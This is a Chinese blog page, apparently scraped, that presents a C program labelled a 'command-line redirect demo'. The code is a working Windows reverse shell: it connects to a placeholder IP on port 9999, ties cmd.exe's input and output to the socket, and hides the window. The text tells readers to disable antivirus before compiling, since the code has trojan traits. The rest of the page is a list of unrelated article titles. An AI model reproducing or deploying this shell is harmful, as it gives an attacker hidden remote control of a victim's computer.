Winsocket 命令行重定向Demo
来源:互联网 发布:华为的波士顿矩阵分析 编辑:程序博客网 时间:2024/05/09 17:50
编译前要关闭杀毒软件,否则可能被杀。因为这个程序有木马特征,但技术是无罪的。
#include <stdio.h>#include <Winsock2.h>#pragma comment (lib,"ws2_32.lib")int main() {WSADATA data;WSAStartup(MAKEWORD(2, 2), &data);SOCKET s;SOCKADDR_IN sin;TCHAR cmdPath[MAX_PATH] = { 0 };GetEnvironmentVariable(L"COMSPEC", cmdPath, MAX_PATH);s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);sin.sin_addr.S_un.S_addr = inet_addr("xxx.xxx.xxx.xxx");sin.sin_family = AF_INET;sin.sin_port = htons(9999);int size = sizeof(sin);bind(s, (SOCKADDR*)&sin, size);PROCESS_INFORMATION pro;STARTUPINFO upinfo;ZeroMemory(&pro, sizeof(PROCESS_INFORMATION));ZeroMemory(&upinfo, sizeof(STARTUPINFO));upinfo.cb = sizeof(STARTUPINFO);upinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;upinfo.wShowWindow = SW_HIDE;upinfo.hStdInput = (HANDLE)s;upinfo.hStdOutput = (HANDLE)s;upinfo.hStdError = (HANDLE)s;connect(s, (SOCKADDR*)&sin, size);CreateProcess(NULL, cmdPath, NULL, NULL, TRUE, 0, NULL, NULL, &upinfo, &pro);WaitForSingleObject(pro.hProcess, INFINITE);CloseHandle(pro.hProcess);CloseHandle(pro.hThread);closesocket(s);WSACleanup();system("pause");return 0;}
0 0
- Winsocket 命令行重定向Demo
- 命令行重定向输入输出
- VC命令行下重定向
- Windows 重定向命令行输出
- Windows命令行重定向总结
- windows命令行输出重定向和错误重定向
- windows命令行输出重定向和错误重定向
- 调用命令行重定向输出结果.
- Linux/Unix 命令行:输入输出重定向
- 如何在命令行输出重定向
- LINUX命令行输出重定向至文本文件
- VC下使用命令行重定向输出
- Windows 命令行输入输出重定向问题
- 命令行简介之重定向和管道
- windows命令行重定向输出到NULL
- matlab重定向命令行输出的内容
- Windows 命令行输入输出重定向问题
- window命令行重定向(简单)
- UML类图与类关系
- web服务器推技术之pushlet
- 开启新线程获取网络图片并显示到ImageView中
- 50.EasyGank妹纸App
- Java基础(七)——枚举类
- Winsocket 命令行重定向Demo
- How to disable SSH timeout
- 基于Ubuntu14.04的语音识别工具kaldi安装
- (无码)常用的语法和设计模式
- Android Studio中通过jni实现对C/C++代码的调用,HelloJni,Ubuntu
- collectd安装
- 2016VR主机的硬件配置
- windows7安装Androidstudio
- matlab 图形绘制 plot